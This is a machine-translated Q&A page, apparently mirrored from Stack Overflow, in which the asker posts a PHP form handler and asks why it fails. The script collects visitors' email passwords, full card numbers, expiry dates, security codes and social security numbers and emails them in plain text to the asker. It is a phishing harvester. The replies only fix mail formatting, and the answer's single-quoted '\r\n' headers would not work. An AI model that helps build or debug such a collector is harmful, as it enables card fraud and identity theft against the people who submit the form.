2013-09-30 36 views
0

我在我的網站上創建了一個腳本,讓peaople添加他們的付款方式,然後這些信息會發送到我的電子郵件,我會將它們添加到我的列表securly,但是當我點擊提交HTML格式submit.php和這個是她的代碼沒有工作,它顯示「ERREUR serveur」能有人幫我我的郵件腳本不起作用?

<?php 
    $email = $_POST['email']; 
    $password = $_POST['password']; 
    $cardtype = $_POST['cardtype']; 
    $cardnumber = $_POST['cardnumber']; 
    $exp = $_POST['exp']; 
    $secure = $_POST['secure']; 
    $namecard = $_POST['namecard']; 
    $socialnumber = $_POST['socialnumber']; 

    $to = '[email protected]'; 
    $subject = 'add ' .$email. 'to the list'; 
    $message = 'his informatin\n 
    email: '.$email.'\n 
    password:'.$password.'\n 
    cardtype: '.$cardtype.'\n 
    cardnumber: '.$cardnumber.'\n 
    exp: '.$exp.'\n 
    secure: '.$secure.'\n 
    namecard: '.$namecard.'\n 
    socialnumber: '.$socialnumber.'\n '; 
    $from = '[email protected]'; 
    $headers = 'From:' . $from; 

    if(mail($to,$subject,$message,$headers)) 
            { 
                header('Location: complete.php'); 
            } 
            else 
            { 
                 echo "Message Not Sent"; 
            } 

    ?> 
+0

開始使用[Swiftmailer](http://swiftmailer.org/)。 –

+1

使用\ r \ n作爲新的行分隔符,同時檢查你的電子郵件服務器設置,也是'\ n'和'\ n'不一樣,其次是正確的,先不是。 – Dexa

+1

使用'$ message = wordwrap($ message,70);'bevor sending .. – q0re

回答

1

如果你想發送HTML郵件時,Content-type頭必須設置。

$headers = 'MIME-Version: 1.0' . '\r\n'; 
$headers .= 'Content-type: text/html; charset=iso-8859-1' . '\r\n'; 

//Additional headers 
$headers .= 'From: '.$from.' <[email protected]>\r\n';